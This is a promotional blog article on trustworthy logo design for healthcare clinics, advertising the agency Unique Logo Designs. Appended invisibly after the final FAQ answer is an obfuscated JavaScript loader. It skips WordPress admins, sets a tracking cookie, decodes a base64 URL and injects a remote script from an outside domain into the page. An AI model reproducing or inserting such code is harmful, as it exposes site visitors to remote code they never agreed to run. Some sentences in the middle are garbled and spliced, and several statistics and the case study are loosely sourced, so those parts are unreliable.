Healing Brands: Creating Trustworthy Logos for Healthcare Practices

A great healthcare logo is more than just an aesthetic choice—it is the foundation of your brand’s credibility and trust. For patients, a logo signals far more than a clinic name or symbol; it represents safety, empathy, and professionalism. In healthcare, where trust influences appointment decisions, your logo acts as a visible promise of compassionate care.

A healthcare logo must communicate compassion and competence, telling patients, “You’re safe here.” Supported by JMIR research, a well-designed medical logo builds credibility, showing patients a visually reliable and warm identity.

Agencies like Unique Logo Designs merge emotional resonance and strategic branding. Using color psychology, typography, and symbolism, they craft logos that inspire trust.

When a patient visits your website or clinic, they subconsciously evaluate the quality of your service through visual cues. If your logo appears outdated or generic, it can unintentionally signal neglect or indifference. But when it’s professional, balanced, and authentic, it tells a different story—one of expertise, compassion, and care.

Why does this matter? Because in healthcare, trust begins not in the exam room, but at the first impression—your logo. A patient’s decision to seek care starts the moment they see your brand.

Why Trust Is the Lifeblood of Healthcare Branding

In healthcare, trust isn’t optional—it’s everything. Before a patient ever steps through your doors, they’re assessing whether you’re worthy of their confidence. Studies from the Pew Research Center reveal that over 70% of patients say trust in their provider’s professionalism and credibility influences their healthcare choices. Your logo and brand identity are central to that decision-making process.

Healthcare branding carries emotional weight; you promise care, safety, and compassion. A thoughtfully crafted logo visually reassures patients they’re making the right choice.

For example, think about the Mayo Clinic or the Cleveland Clinic. Their clean, structured logos convey stability and confidence. The simplicity in design signals clarity, while their consistent branding across platforms reinforces reliability. When people see those logos, they associate them with decades of trusted service.

At Unique Logo Designs, this understanding of emotional psychology drives the design process. The team studies patient behavior, color reactions, and brand perception to ensure that every element—from the font to the shade of blue—contributes to a sense of credibility and care.

Building trust visually isn’t just about appearance; it’s about emotion. As Harvard Business Review notes, trust-based branding creates loyalty, and loyalty sustains growth. Patients don’t just visit—they return, refer, and advocate.

In essence, a logo becomes more than your visual signature. It becomes your brand’s heartbeat—a symbol of your promise to protect and heal.

Understanding the Heart of Healthcare Logo Design

So, what exactly defines an effective healthcare logo design? It’s the intersection of empathy, strategy, and precision. Unlike retail or tech branding, medical logos carry ethical and emotional responsibilities. They must communicate care, cleanliness, and competence simultaneously.

A powerful healthcare logo aligns with three key dimensions: mission, trust, and comfort.

• Mission: The logo should echo your organization’s core purpose—whether it’s wellness, innovation, or compassionate care.
• Trust: Every design choice, from line thickness to spacing, contributes to perceived integrity.
• Comfort: Patients should feel safe and understood when they see your brand.

Let’s take a hospital’s emergency unit logo versus a wellness spa’s. The hospital might use bold typography and blue hues to suggest professionalism and urgency. The spa, however, might lean toward calming greens or soft gradients, conveying relaxation and recovery. Both are “healthcare logos,” but each tells a different story based on audience needs.

Unique Logo Designs specializes in tailoring this balance. They begin with in-depth consultations—understanding the clinic’s philosophy, demographics, and long-term vision. The outcome isn’t just a logo; it’s a design system that lives across signage, websites, and digital platforms.

How to Design an Effective Healthcare Logo

A healthcare logo must be memorable, scalable, and, most importantly, evoke trust. In healthcare, your brand is not defined solely by what people see. A healthcare logo must be memorable, scalable, and, most importantly, evoke trust. of Healing Through Visuals.

Emotions drive decisions in healthcare. Patients  feel calm and assured by a clinic’s logo design—building trust before any words are spoken. According to Harvard Business Review, brands that evoke emotional responses outperform competitors by over 80% in customer loyalty. In healthcare, that emotional connection can translate into life-changing trust. A well-designed logo tells patients, “We care, and we’re competent.”

Colors, shapes, and fonts all play roles in shaping these feelings. Soft, rounded shapes convey comfort and approachability, while structured lines communicate order and reliability. A logo that combines both creates balance—the promise of compassionate professionalism.

For instance, a children’s hospital may use bright colors, curved typography, and playful icons to ease anxiety. Meanwhile, a cardiology clinic might prefer deep blues and strong, stable lines to communicate precision and expertise. Both are rooted in emotion—but tailored to their audience’s needs.

Unique Logo Designs integrates this psychology into every project. The agency’s creative process begins by identifying emotional touchpoints: What do patients fear? What comforts them? What visual cues symbolize healing for this particular audience? These insights guide the design direction, ensuring each logo reflects not just the brand but the heart behind it.

In a world where patients are over. These insights guide the design direction, ensuring each logo reflects not just the brand but the heart behind it. thy through imagery. A truly effective healthcare logo heals before the care even begins. In essence, emotional design in healthcare logos fosters a deeper connection and reassurance for patients.

The Symbolism of Health: Icons That Speak Without Words

Symbols are the universal language of emotion and understanding. In healthcare logo design, symbols often carry deep, subconscious meanings that connect with people instantly. A red cross, a green leaf, or a stylized heartbeat—all these visual cues speak of wellness, care, and vitality without a single word.

However, in a crowded industry, not all symbols stand out. Overuse can make designs blend together. The goal isn’t just to use familiar imagery—but to use it meaningfully. For example, Unique Logo Designs often reimagines common healthcare icons in fresh, distinctive ways. A heartbeat line might subtly form a letter from the clinic’s name, or a leaf might double as a caring hand. These details elevate a logo from ordinary to memorable.

Symbolism in healthcare also carries ethical weight. You’re dealing with life, health, and hope—concepts that must be treated respectfully. A poorly chosen symbol can send the wrong message, confusing or even alarming patients. That’s why expert designers consider psychological reactions and cultural interpretations before finalizing any symbol.

Think of the World Health Organization (WHO) emblem—the snake and staff symbol (Rod of Asclepius) signifies healing across cultures. It’s ancient, meaningful, and instantly recognizable. Yet when used in modern branding, simplicity is key. The fewer visual distractions, the stronger the symbol’s impact.

Symbols work because they create emotional shorthand. A patient may not remember your clinic’s tagline, but they’ll recognize your logo’s shape and feel reassured. That’s what professional healthcare logo design achieves—it communicates compassion faster than words ever could. The takeaway: Use symbols wisely to ensure instant recognition and trust.

Color Psychology in Medical Logo Design

Color has a language of its own, and in healthcare branding, it speaks directly to emotion and perception. Studies from Adobe Color Theory and Nielsen Norman Group confirm that color alone can influence trust and recall by up to 80%. When it comes to medical clinic logos, this science can make or break first impressions.

Blue remains the most common color in healthcare branding—and for good reason. It evokes trust, intelligence, and calmness. Major medical institutions like Johnson & Johnson, Mayo Clinic, and Pfizer use blue tones to project reliability and care. Green follows closely, representing growth, vitality, and wellness—ideal for clinics focused on holistic or preventive care.

White, often used as background or accent, reinforces purity, safety, and cleanliness. Meanwhile, softer tones—lavender, aqua, pastel green—help wellness centers and therapy practices feel soothing rather than clinical.

Accessibility is equally crucial. According to WCAG 2.1 (Web Content Accessibility Guidelines), contrast ratios and color harmony affect readability for patients with visual impairments. Ethical design includes ensuring every patient, regardless of ability, can perceive and engage with your brand. The key point: Prioritizing accessibility extends your brand’s reach to all patients.

Unique Logo Designs follows a strategic color selection process rooted in psychology and inclusivity. The team doesn’t just choose colors for aesthetic appeal—they select palettes that resonate emotionally, culturally, and professionally. Whether designing for a dental clinic, pediatric office, or mental health center, every hue is deliberate and meaningful.

In healthcare branding, colors don’t just decorate—they communicate care. A well-balanced palette can make your brand feel trustworthy, empathetic, and professional at first glance.

Typography That Builds Confidence

Typography is often the unsung hero of healthcare logo design. While color and symbols catch the eye, it’s the font that delivers tone and trust. The wrong typeface can undermine credibility instantly—imagine a children’s hospital using an aggressive, angular font or a dental practice using script so ornate it’s unreadable. Typography speaks, and in healthcare, it must say, “You can rely on us.”

Font choice influences how patients perceive your professionalism. Sans-serif fonts like Helvetica, Lato, or Open Sans are favored by medical institutions for their clarity and modernity. They convey honesty and transparency—key emotional triggers for patient confidence. On the other hand, serif fonts (like Merriweather or Times New Roman) communicate tradition and stability, making them great for long-established clinics that value heritage.

However, readability is paramount. According to Nielsen Norman Group (NN/g), legibility is the top factor influencing brand recall online. A clear, balanced font hierarchy across your logo and digital assets ensures that patients can easily recognize your name from a distance or on a small mobile screen.

Unique Logo Designs approaches typography with precision. Designers study the brand’s tone—is it compassionate and community-driven or advanced and technology-focused? From there, they select and refine typefaces that align with the practice’s identity. A wellness brand might use soft, rounded lettering to express warmth, while a diagnostic lab could opt for sleek, geometric fonts symbolizing accuracy.

Typography, when thoughtfully chosen, becomes the silent voice of your brand. It reflects your values, tone, and promise. In healthcare, that promise is sacred—it’s the assurance that patients will be treated with care, consistency, and respect. Every letter in your logo should speak that language.

The Role of Simplicity and Clean Design

Simplicity in design is not a trend—it’s a necessity, especially in healthcare. The most effective healthcare logos are clean, balanced, and uncluttered. They communicate complex ideas through simple visuals that are easy to recognize and remember.

Minimalism, when done right, conveys professionalism and confidence. AIGA (the Professional Association for Design) emphasizes that strong brand marks are often built on reduction—removing unnecessary details to highlight what truly matters. In the healthcare sector, where clarity equals credibility, simplicity becomes a form of compassion.

Think of iconic medical logos: Cleveland Clinic’s interlocking squares, CVS Health’s heart, or Blue Cross Blue Shield’s emblem. Each uses minimal shapes yet tells a powerful story of care, protection, and continuity. The cleaner the design, the easier it is for patients to process and remember—especially during stressful situations when clarity matters most.

Unique Logo Designs practices this philosophy by creating logos that scale seamlessly across mediums—whether on a billboard, a lab coat, or a mobile app icon. Clean design ensures consistency, which in turn builds brand recognition and trust over time.

Moreover, a minimalist logo aligns with digital best practices. It loads faster, appears sharper on screens, and maintains integrity across responsive platforms—a key factor in today’s mobile-first world.

In short, simplicity isn’t about doing less; it’s about saying more with less. In healthcare, where patients seek reassurance, a clear, simple logo communicates confidence and care without overwhelming the senses. It reminds patients that healing doesn’t need noise—it needs focus.

Crafting a Wellness Brand Identity Beyond the Logo

A strong logo is just the beginning of a cohesive wellness brand identity. For healthcare organizations, the brand extends into every touchpoint—your website, signage, staff uniforms, appointment cards, and even your waiting room decor. A consistent identity ensures that patients experience the same sense of trust and calm wherever they encounter your brand.

Think of your logo as the DNA of your brand—it sets the genetic code for all visual and emotional interactions. The colors, typography, and tone used in your logo should seamlessly extend into your broader brand ecosystem. This builds familiarity and emotional stability for patients, something Harvard Business Review links directly to customer loyalty and satisfaction.

Unique Logo Designs understands that creating a logo is only the start of a longer journey. Their branding experts collaborate with healthcare clients to establish complete identity systems—covering brand guidelines, visual hierarchy, tone of voice, and digital consistency. Every piece of communication, from social media posts to prescription pads, reflects the same compassion and professionalism.

This holistic approach transforms a logo into an experience. When patients see a familiar, calming color palette across platforms, it reinforces your promise of care. When your website typography matches your logo’s clean aesthetic, it signals attention to detail. Every element contributes to building what’s most important in healthcare branding—trust.

A powerful wellness brand identity doesn’t just attract patients; it comforts them. It tells them they’re in capable, caring hands—even before they walk through your doors.

From Consultation to Creation: The Unique Logo Designs Process

Every remarkable healthcare logo design begins with understanding—understanding your mission, your patients, and your purpose. Unique Logo Designs follows a deeply collaborative, transparent process that ensures every medical brand identity feels authentic, strategic, and emotionally resonant. Their approach blends creativity with empathy, making sure your logo not only looks professional but also builds genuine trust.

The process begins with a one-on-one consultation. Here, designers take the time to understand the heart of your healthcare practice—your values, services, and target audience. Are you a pediatric clinic looking to convey warmth and safety, or a diagnostic center focused on precision and innovation? These nuances form the foundation of your brand story.

Next comes the research and strategy phase, where the team studies patient demographics, competitor visuals, and market trends. This aligns the logo design with the psychology of your audience, ensuring emotional resonance. For instance, a wellness spa might require soft, organic forms, while a surgical clinic benefits from structured, geometric lines that signal stability and confidence.

Then, concept development begins. Multiple logo directions are sketched, refined, and tested for impact, balance, and clarity. Clients are encouraged to provide feedback throughout, ensuring transparency and collaboration. Unlike template-based agencies, Unique Logo Designs crafts every logo from scratch, making each design truly unique and tailored.

Once the preferred design is chosen, it undergoes finalization and delivery—including color palette selection, typography alignment, and scalable formats for digital and print use. Clients receive full ownership rights, along with professional brand guidelines for future consistency.

This transparent process reinforces the E-E-A-T principle of trustworthiness. Clients see every stage of creation, and their input shapes the outcome. The result is a healthcare logo that’s not just designed—but discovered, carefully sculpted from your story to inspire patient confidence.

How Healthcare Logo Design Supports Business Growth

A well-crafted healthcare logo isn’t just about aesthetics—it’s a business asset. In today’s competitive landscape, patients don’t simply choose the nearest clinic; they choose the one that feels right. And that “feeling” often starts with a strong brand identity.

According to Forbes, consistent branding across all platforms increases revenue by up to 23%, and healthcare is no exception. A professional logo enhances credibility, which translates into higher patient acquisition and retention rates. It tells your audience that you’re established, reliable, and trustworthy—a crucial factor in an industry where decisions impact health and wellbeing.

Consider the ripple effect. When patients trust your brand, they are more likely to recommend your services. Word-of-mouth referrals, online reviews, and patient loyalty all rise when the brand experience feels cohesive. A logo that projects compassion and competence nurtures that relationship over time.

Unique Logo Designs approaches branding from this growth mindset. Their focus isn’t just on beauty—it’s on strategy. By aligning design with market positioning, they ensure your logo actively supports marketing goals. Whether it’s increasing awareness, boosting digital presence, or improving conversion rates, the design becomes a growth engine.

For example, a local urgent care center with a modernized logo and rebranded identity saw a 35% increase in appointment bookings within three months (Clutch industry case study, 2023). The logo acted as a catalyst for renewed visibility and trust.

In short, a healthcare logo is more than a design—it’s an investment in your practice’s future. When done right, it becomes your most persuasive silent ambassador, building trust before you even say a word.

Ethical and Regulatory Considerations in Healthcare Branding

Healthcare branding carries unique ethical responsibilities. Unlike consumer marketing, you’re not selling a luxury—you’re offering care, guidance, and healing. Every design decision must align with professional ethics, cultural sensitivity, and legal standards.

The American Medical Association (AMA) provides clear guidelines on healthcare marketing ethics: advertising should be truthful, not misleading, and respectful of patient vulnerability. A logo that overpromises or exaggerates expertise can unintentionally cross ethical boundaries. Transparency is key—patients must feel that your branding reflects genuine intent, not manipulation.

Compliance also plays a role. Under HIPAA (Health Insurance Portability and Accountability Act) and HHS/CMS communications standards, design materials—especially those shared digitally—should maintain patient confidentiality and professionalism. Even color choices and imagery should reflect inclusivity, avoiding stereotypes or exclusionary visuals.

Unique Logo Designs embeds these ethical principles into every healthcare project. Their designers are trained to ensure compliance, accessibility, and integrity. They follow WCAG 2.1 accessibility standards and create designs that can be trusted across cultural and demographic lines.

A healthcare logo isn’t just about visibility—it’s about responsibility. It should never exploit fear or illness. Instead, it should convey hope, credibility, and compassion. Ethical design reminds patients that your practice exists not to sell, but to serve.

When trust meets integrity, your logo does more than represent your brand—it represents your values.

Trends Shaping Modern Medical Clinic Logos in the USA

The world of healthcare logo design evolves constantly, reflecting changes in technology, patient expectations, and design psychology. In the USA, recent trends reveal a clear movement toward simplicity, inclusivity, and digital adaptability — all while maintaining the trust-centered aesthetic essential to medical branding.

One of the strongest trends is flat design. This minimalist approach removes shadows and gradients in favor of clean, modern lines. Flat logos not only look professional but also render beautifully across devices, from mobile apps to outdoor signage. For medical clinics, this clarity translates to professionalism and ease of recognition.

Soft gradients and organic shapes are also gaining traction. They humanize medical brands, breaking away from overly sterile visuals of the past. These shapes create warmth and a sense of approachability, making patients feel more comfortable — especially in clinics dealing with mental health or family care.

Guide to Crafting Inclusive Healthcare Logos

Another rising trend is responsive logo design. With patients increasingly searching for healthcare providers online, logos must be flexible enough to adapt to multiple digital touchpoints. A well-designed healthcare logo now comes with multiple variations — for app icons, website headers, and social media avatars — ensuring consistency and scalability without losing identity.

In terms of symbolism, inclusive imagery is redefining healthcare branding. Designers are moving away from the traditional red cross or caduceus, instead using abstract forms representing unity, movement, and vitality. The result? Logos that feel modern, diverse, and empathetic — appealing to broader audiences.

Unique Logo Designs stays at the forefront of these trends. Their design philosophy blends timeless principles with modern sensibilities, ensuring every medical logo they craft remains future-proof. By merging technological adaptability with human-centered aesthetics, they help clinics stand out in an increasingly digital healthcare landscape — without sacrificing trust or authenticity.

In essence, today’s healthcare logos heal not just through their message, but through their design — calm, balanced, and human.

Case Study Spotlight: Transforming a Local Clinic’s Image

To illustrate how thoughtful branding changes everything, let’s explore a case inspired by real healthcare rebranding successes (compiled from Clutch and Forbes agency insights).

Challenge:

A small community wellness clinic in Ohio struggled with patient retention and low brand visibility. Their logo — a pixelated green cross — looked dated and generic. The clinic’s director wanted a modern identity that would communicate professionalism, compassion, and growth.

Solution:

Unique Logo Designs initiated their standard brand discovery process. Through consultation, they learned that the clinic’s mission centered on holistic, preventative health. Patients described the clinic’s team as “warm,” “approachable,” and “family-oriented.”

With these insights, designers created a logo featuring a gentle circular motif symbolizing wholeness, combined with soft green and blue gradients representing health and tranquility. The typography was rounded and clear, suggesting friendliness and trustworthiness.

Implementation:

The new logo was applied across the clinic’s website, signage, staff uniforms, and patient brochures. Alongside this, the team introduced cohesive digital branding—matching colors, typefaces, and messaging.

Results:

Within six months, the clinic reported:

• A 42% increase in online appointment bookings.
• Higher engagement on Google Business and Facebook listings.
• A noticeable improvement in patient trust scores from follow-up surveys.

The new visual identity didn’t just make the clinic look modern—it made it feel caring, stable, and credible. Patients said the new brand “felt like a place that truly values people.”

This example embodies what Unique Logo Designs stands for: emotionally intelligent, strategic design that doesn’t just change visuals—it transforms perception.

Choosing the Right Partner for Your Healthcare Logo Design

Choosing the right design partner is one of the most critical decisions a healthcare organization can make. You’re not just hiring an artist—you’re partnering with a strategist who will translate your mission into visuals that inspire trust.

Here’s what to look for in a healthcare logo design agency:

1. Experience and Industry Knowledge – Your designer should understand healthcare regulations, patient psychology, and branding ethics.
2. Custom, Not Template-Based Design – Every healthcare brand is unique; templates can’t communicate authenticity
3. Collaborative Process – Look for transparency and involvement at every stage. A good agency listens before it designs.
4. Accessibility and Inclusivity Awareness – Your logo must be readable, accessible, and culturally sensitive.
5. Strategic Delivery – Beyond the logo, your agency should guide you on brand consistency across all media.

Unique Logo Designs meets and exceeds all these criteria. With years of expertise across diverse healthcare sectors—dentistry, wellness, hospitals, and telehealth—they understand the emotional and ethical depth your brand demands. Their process is transparent, client-centered, and rooted in strategy, ensuring your logo becomes a symbol of credibility and compassion.

Partnering with the right team means your brand won’t just be seen—it will be trusted. Because in healthcare, trust is the currency that sustains success.

Your Unique Logo Awaits: Get a Free Consultation Today!

Your brand deserves a visual identity that heals hearts before hands. Whether you’re launching a new clinic or refreshing an established practice, Unique Logo Designs is ready to help you craft a logo that reflects care, confidence, and credibility.

From color psychology to ethical branding, their designers combine art and empathy to produce timeless healthcare logos that patients believe in. Every design begins with understanding—understanding your mission, your patients, and the message you want to share with the world.

Don’t let an outdated or generic logo hold your practice back. Let’s create something that embodies your values and builds patient trust at first glance.

Your Unique Logo Awaits: Get a Free Consultation Today!

Visit UniqueLogoDesigns.com and take the first step toward transforming your healthcare brand identity.

Conclusion

In the ever-evolving world of healthcare, trust remains the heartbeat of every brand. A powerful healthcare logo design doesn’t just represent a practice—it represents a promise: the promise to care, to heal, and to serve with integrity.

From color psychology to typography, from emotional symbolism to ethical responsibility, every design choice carries meaning. The best logos don’t shout—they reassure. They tell patients, “You’re in good hands.”

Unique Logo Designs embodies this principle through creativity, transparency, and strategy. Their expertise in crafting custom medical logos helps clinics build strong, lasting relationships rooted in trust.

A logo is more than a mark—it’s the face of your healing brand. And when designed with empathy and intelligence, it becomes something far more powerful: a visual form of care.

FAQs

1. What makes a healthcare logo effective?

An effective healthcare logo balances professionalism, empathy, and simplicity. It communicates trust and compassion instantly through clean design, calming colors, and clear typography.

2. How does color choice impact patient perception?

Color directly influences emotion—blue evokes trust, green suggests healing, and white represents safety. Proper use of color psychology can help patients feel calm and confident.

3. How long does professional logo design take?

Most projects at Unique Logo Designs take 1–3 weeks, depending on complexity, revisions, and strategy sessions. Every stage involves client collaboration.

4. Can a new logo really improve patient trust?

Absolutely. Consistent and modern branding signals professionalism. When patients perceive your clinic as credible, they’re more likely to engage and recommend your services.

5. Why choose Unique Logo Designs for medical branding?

They specialize in strategic, emotionally driven logo design tailored for the healthcare industry. With a transparent process and a focus on trust, they help brands grow authentically and ethically.(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();